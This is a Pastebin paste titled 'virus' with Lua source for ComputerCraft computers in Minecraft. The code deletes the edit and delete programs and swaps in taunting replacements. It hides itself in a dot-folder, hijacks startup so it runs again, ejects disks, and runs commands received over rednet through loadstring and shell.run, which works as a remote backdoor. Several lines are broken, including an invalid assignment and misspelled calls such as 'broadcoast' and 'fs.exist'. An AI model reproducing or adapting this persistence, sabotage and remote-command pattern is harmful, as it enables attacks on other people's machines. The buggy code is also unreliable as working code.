Advertisement
Bjornir90

virus

Nov 24th, 2012
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.28 KB | None | 0 0
  1. os.pullEvent() = os.pullEventRaw()
  2.  
  3. fs.delete("edit")
  4. fs.delete("delete")
  5. fs.delete("startup")
  6.  
  7. fs.makeDir(".testFolder")
  8. fs.copy("test", "/.testFolder/test")
  9.  
  10. testTop = rednet.open("top")
  11. testBot = rednet.open("bottom")
  12. testRight = rednet.open("right")
  13. testLeft = rednet.open("left")
  14. testBack = rednet.open("back")
  15. testFront = rednet.open("front")
  16.  
  17. if testTop then
  18.  rednet.broadcoast("top")
  19. elseif testBot then
  20.  rednet.broadcoast("bot")
  21. elseif testRight then
  22.  rednet.broadcoast("right")
  23. elseif testLeft then
  24.  rednet.broadcoast("left")
  25. elseif testBack then
  26.  rednet.broadcoast("back")
  27. elseif testFront then
  28.  rednet.broadcoast("front")
  29. end
  30.  
  31. edit = fs.open("/.testFolder/edit", "w")
  32. edit.write("print(\"lol\")")
  33. edit.close()
  34.  
  35. checkEdit = function()
  36. if not fs.exist("edit") then
  37.  fs.copy("/.testFolder/edit", "edit")
  38. end
  39. end
  40.  
  41. delete = fs.open("/.testFolder/delete", "w")
  42. delete.write("print(\"Not this time !\")")
  43. delete.close()
  44.  
  45. checkDelete = function()
  46. if not fs.exist("delete") then
  47. fs.copy("/.testFolder/delete", "delete")
  48. end
  49. end
  50.  
  51. startup = fs.open("/.testFolder/startup", "w")
  52. startup.write("shell.run(\"test\")")
  53. startup.close()
  54.  
  55. checkStartup = function()
  56. if not fs.exist("startup") then
  57.  fs.copy("/.testFolder/startup", "startup")
  58. end
  59. end
  60.  
  61. rednet.broadcoast("&done")
  62. receive = function()
  63. id, commandS = rednet.receive()
  64. command = textutils.unserialize(commandS)
  65. if command.isExe == "true" then
  66.  if command.type == "f" then
  67.   loadstring(command.content)
  68.  elseif command.type == "p" then
  69.   shell.run(command.content)
  70.  end
  71. end
  72. end
  73.  
  74. parallel.waitForAll(checkEdit, checkDelete, checkStartup, receive)
  75.  
  76. checkDisk = function()
  77. if disk.isPresent("top") then
  78.  disk.eject("top")
  79. elseif disk.isPresent("bottom") then
  80.  disk.eject("bottom")
  81. elseif disk.isPresent("right") then
  82.  disk.eject("right")
  83. elseif disk.isPresent("left") then
  84.  disk.eject("left")
  85. elseif disk.isPresent("front") then
  86.  disk.eject("front")
  87. elseif disk.isPresent("back") then
  88.  disk.eject("back")
  89. end
  90. end
  91.  
  92.  
  93. dataFile = fs.open("/.testFolder/data", "w")
  94. datafile.write("id="..id)
  95. datafile.close()
  96.  
  97. local exit = 0
  98.  
  99. while exit == 0 do
  100. parallel.waitForAny(checkEdit, checkDelete, checkStartup, receive, checkDisk)
  101. os.sleep(1)
  102. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement